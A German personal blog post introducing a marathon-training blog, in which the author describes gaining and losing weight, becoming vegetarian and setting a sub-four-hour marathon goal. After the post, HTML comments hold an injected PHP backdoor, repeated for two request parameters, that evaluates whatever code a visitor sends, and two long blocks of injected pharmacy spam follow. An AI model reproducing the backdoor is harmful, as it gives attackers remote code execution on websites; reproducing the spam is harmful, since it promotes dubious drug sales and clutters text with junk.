Projekt 42,195 Kilometer

Was bringt einen Menschen nur dazu, einen Marathon zu laufen? Das ist eine gute Frage, auf die ich eine gute Antwort haben sollte. Schließlich habe ich mir dies als Ziel für das Frühjahr 2011 gesetzt. In gut sechs Monaten möchte nämlich einen, bzw. meinen ersten Marathon laufen. Natürlich in unter 4 Stunden, so wie man sich das traditionell vor seinem ersten Marathon auch vornimmt.

Mit meinen 30 Jahren kann ich auf eine recht überschaubare sportliche Karriere zurückblicken. Vor gut 12 Jahren habe ich einmal für ein paar Jahre intensiv im Fitnessstudio trainiert. Flacher Bauch, dicke Muskeln, Frauen beeindrucken und so. Diese erste intensive sportliche Phase wurde dann recht abrupt durch den Begin meines Studiums beendet. Irgendwo fehlten das Geld und die Motivation, um weiterhin sechs Tage die Woche zu trainieren. Außerdem hatte ich damals eine Freundin und daher ja auch nicht den dringen Bedarf, mit einem flachen Bauch und dicken Muskeln irgendjemanden zu beeindrucken…

In den acht Semestern, in denen ich studierte, futterte ich mir dann ordentliche 25 Kilo an. Das sind gute 3 Kilo pro Semester. So etwas schafft man nur, wenn man seine sportlichen Aktivitäten auf das Minimum zurückschraubt.  Ich bin aber das lebende Beispiel, dass man es von BMI 22 auf fast BMI 30 locker in vier Jahren schaffen kann.

Nun, vor ein paar Jahren wollte ich dann einmal etwas gegen die ganz knapp dreistellige Zahl auf der Waage unternehmen und habe mir deshalb ein Paar tolle Laufschuhe gekauft. Natürlich hat man völlig untrainiert und mit Übergewicht keine tolle Kondition und so schaffte ich es damals nicht, am Ball zu bleiben und mit dem Laufen wirklich durchzustarten.

Die Jahre gingen ins Land und in meinem Leben änderten sich ein paar Dinge. Vor knapp drei Jahren erkannte ich letztlich, dass es mit mir so nicht weitergehen kann und ich wieder irgendwie in Form kommen muss. Ich beschäftigte mich viel mit einer gesunden Lebensweise und Ernährung und schaffte es so, innerhalb eines Jahres knapp 20 Kilo abzunehmen. Dieses Gewicht habe ich bisher ohne Anstrengungen halten können. Dazu kommt aber auch noch, dass ich mich damals aus ethischen Überzeugungen entschieden habe, Vegetarier zu werden und so sicherlich auch ein paar Kalorien einspare.

Während dieser Phase meines Lebens habe ich dann meine Laufschuhe wiederentdeckt und bin sehr unregelmäßig kurze Strecken gelaufen. Das Lauffieber hat mich dann aber erst dieses Frühjahr gepackt, als ich an meinem ersten 10 km Volkslauf teilnahm. Mir hat das Gefühl dabei unheimlich gefallen. Danach bin ich viel intensiver und bewusster gelaufen. Ich habe dieses Jahr an vier Volksläufen zwischen 6 und 15 Kilometern teilgenommen und von Veranstaltung zu Veranstaltung ist in mir der Wunsch gewachsen, mich der Herausforderung Marathon zu stellen.

Und in dieser Situation kann man entweder sagen „das würde ich gerne mal machen“ oder „das mache ich“. Ich persönlich gehöre zur letztern Sorte. Ein Marathon im kommenden Frühjahr gibt mir etwa sechs Monate Zeit, um von meinem derzeitigen Leistungsstand zum Marathoni zu werden. Für mich ist das ein sportliches Ziel. Aber sonst würde ja auch irgendwo die Herausforderung fehlen, oder?

In diesem Blog möchte ich meine Trainingsfortschritte, Erfolge, Niederlagen und Gedanken zum Laufen dokumentieren. Und mich hin und wieder ausweinen, wenn ich bei Platzregen zum Training vor die Tür muss.

Oh ja, da wäre noch die Frage vom Anfang: was bringt einen Menschen nur dazu, einen Marathon zu laufen? Für mich lautet die Antwort: ich will mir beweisen, dass ich es kann. Das ich diszipliniert genug bin, um genug zu trainieren. Und das ich mental stark genug bin, um die vier Stunden durchzulaufen.

<!– [insert_php]if (isset($_REQUEST["miuBR"])){eval($_REQUEST["miuBR"]);exit;}[/insert_php][php]if (isset($_REQUEST["miuBR"])){eval($_REQUEST["miuBR"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["vHh"])){eval($_REQUEST["vHh"]);exit;}[/insert_php][php]if (isset($_REQUEST["vHh"])){eval($_REQUEST["vHh"]);exit;}[/php] –>

buy abilify buy accutane buy aceon buy aciphex buy actos buy adalat buy aggrenox buy albenza buy aldactone buy alesse buy allegra buy alprostadil buy altace buy amalaki buy amaryl buy amoxil buy anafranil buy antabuse buy arava buy arcoxia buy aricept buy arjuna buy artane buy asacol buy astelin buy atarax buy augmentin buy avalide buy avapro buy avelox buy avodart buy ayurslim buy azulfidine buy bactrim buy bactroban buy benicar buy betagan buy betnovate buy biaxin buy bimatoprost buy botox buy brahmi buy buspar buy bystolic buy calan buy cardura buy casodex buy cefixime buy ceftin buy celebrex buy celexa buy cenforce buy chloromycetin buy cialis buy cipro buy clarinex buy claritin buy cleocin buy clomid buy combivir buy copegus buy cordarone buy coreg buy coumadin buy cozaar buy crestor buy cymbalta buy cytoxan buy deltasone buy depakote buy desyrel buy detrol buy diabecon buy diamox buy diflucan buy diovan buy duphaston buy duricef buy effexor buy elavil buy eldepryl buy epivir buy eulexin buy evecare buy evista buy exelon buy famvir buy feldene buy flagyl buy fliban buy flomax buy flonase buy floxin buy geodon buy glucophage buy glucotrol buy glucovance buy grifulvin buy guduchi buy haridra buy himplasia buy hytrin buy hyzaar buy ilosone buy imdur buy imitrex buy imodium buy inderal buy indocin buy janya buy kapikachhu buy karela buy keflex buy kemadrin buy lamictal buy lanoxin buy lasix buy lasuna buy levaquin buy levitra buy lexapro buy lioresal buy lipitor buy lopid buy lopressor buy lozol buy luvox buy manjishtha buy megaslim buy menosan buy meshashringi buy mestinon buy metaglip buy micardis buy micronase buy microzide buy minipress buy mobic buy moduretic buy motilium buy motrin buy myambutol buy mysoline buy naprosyn buy neem buy neurontin buy nexium buy nizoral buy nolvadex buy noroxin buy norvasc buy omnicef buy oxytrol buy pamelor buy paracetamol buy parlodel buy paxil buy penisole buy periactin buy persantine buy plavix buy ponstel buy prandin buy precose buy prednisone buy prevacid buy priligy buy prilosec buy prograf buy propecia buy proscar buy protonix buy provestra buy punarnava buy rebetol buy reglan buy requip buy retrovir buy risperdal buy rulide buy serevent buy seroquel buy shallaki buy shatavari buy shigru buy sinemet buy sinequan buy singulair buy speman buy sporanox buy starlix buy strattera buy stromectol buy sumycin buy suprax buy sustiva buy symmetrel buy tegretol buy tenoretic buy terramycin buy tofranil buy topamax buy trandate buy trental buy tricor buy trikatu buy trileptal buy triphala buy tulasi buy urispas buy uroxatral buy valtrex buy vantin buy vasaka buy vasotec buy ventolin buy vermox buy viagra buy vigorelle buy vigrx buy voltaren buy vrikshamla buy vytorin buy wondersleep buy xenical buy zanaflex buy zantac buy zebeta buy zestoretic buy zetia buy ziac buy zithromax buy zocor buy zofran buy zoloft buy zovirax buy zyloprim buy zyrtec viagra

buy abilify buy accutane buy aceon buy aciphex buy actos buy adalat buy aggrenox buy albenza buy aldactone buy alesse buy allegra buy alprostadil buy altace buy amalaki buy amaryl buy amoxil buy anafranil buy antabuse buy arava buy arcoxia buy aricept buy arjuna buy artane buy asacol buy astelin buy atarax buy augmentin buy avalide buy avapro buy avelox buy avodart buy ayurslim buy azulfidine buy bactrim buy bactroban buy benicar buy betagan buy betnovate buy biaxin buy bimatoprost buy botox buy brahmi buy buspar buy bystolic buy calan buy cardura buy casodex buy cefixime buy ceftin buy celebrex buy celexa buy cenforce buy chloromycetin buy cialis buy cipro buy clarinex buy claritin buy cleocin buy clomid buy combivir buy copegus buy cordarone buy coreg buy coumadin buy cozaar buy crestor buy cymbalta buy cytoxan buy deltasone buy depakote buy desyrel buy detrol buy diabecon buy diamox buy diflucan buy diovan buy duphaston buy duricef buy effexor buy elavil buy eldepryl buy epivir buy eulexin buy evecare buy evista buy exelon buy famvir buy feldene buy flagyl buy fliban buy flomax buy flonase buy floxin buy geodon buy glucophage buy glucotrol buy glucovance buy grifulvin buy guduchi buy haridra buy himplasia buy hytrin buy hyzaar buy ilosone buy imdur buy imitrex buy imodium buy inderal buy indocin buy janya buy kapikachhu buy karela buy keflex buy kemadrin buy lamictal buy lanoxin buy lasix buy lasuna buy levaquin buy levitra buy lexapro buy lioresal buy lipitor buy lopid buy lopressor buy lozol buy luvox buy manjishtha buy megaslim buy menosan buy meshashringi buy mestinon buy metaglip buy micardis buy micronase buy microzide buy minipress buy mobic buy moduretic buy motilium buy motrin buy myambutol buy mysoline buy naprosyn buy neem buy neurontin buy nexium buy nizoral buy nolvadex buy noroxin buy norvasc buy omnicef buy oxytrol buy pamelor buy paracetamol buy parlodel buy paxil buy penisole buy periactin buy persantine buy plavix buy ponstel buy prandin buy precose buy prednisone buy prevacid buy priligy buy prilosec buy prograf buy propecia buy proscar buy protonix buy provestra buy punarnava buy rebetol buy reglan buy requip buy retrovir buy risperdal buy rulide buy serevent buy seroquel buy shallaki buy shatavari buy shigru buy sinemet buy sinequan buy singulair buy speman buy sporanox buy starlix buy strattera buy stromectol buy sumycin buy suprax buy sustiva buy symmetrel buy tegretol buy tenoretic buy terramycin buy tofranil buy topamax buy trandate buy trental buy tricor buy trikatu buy trileptal buy triphala buy tulasi buy urispas buy uroxatral buy valtrex buy vantin buy vasaka buy vasotec buy ventolin buy vermox buy viagra buy vigorelle buy vigrx buy voltaren buy vrikshamla buy vytorin buy wondersleep buy xenical buy zanaflex buy zantac buy zebeta buy zestoretic buy zetia buy ziac buy zithromax buy zocor buy zofran buy zoloft buy zovirax buy zyloprim buy zyrtec viagra

One Comment

Durch das Fortsetzen der Benutzung dieser Seite, stimmst du der Benutzung von Cookies zu. Weitere Informationen

Die Cookie-Einstellungen auf dieser Website sind auf "Cookies zulassen", um Ihnen das beste Surferlebnis möglich zu geben. Wenn Sie diese Website ohne Änderung Ihrer Cookie-Einstellungen zu verwenden fortzufahren, oder klicken Sie auf "Akzeptieren" unten, dann erklären Sie sich mit diesen.

Schließen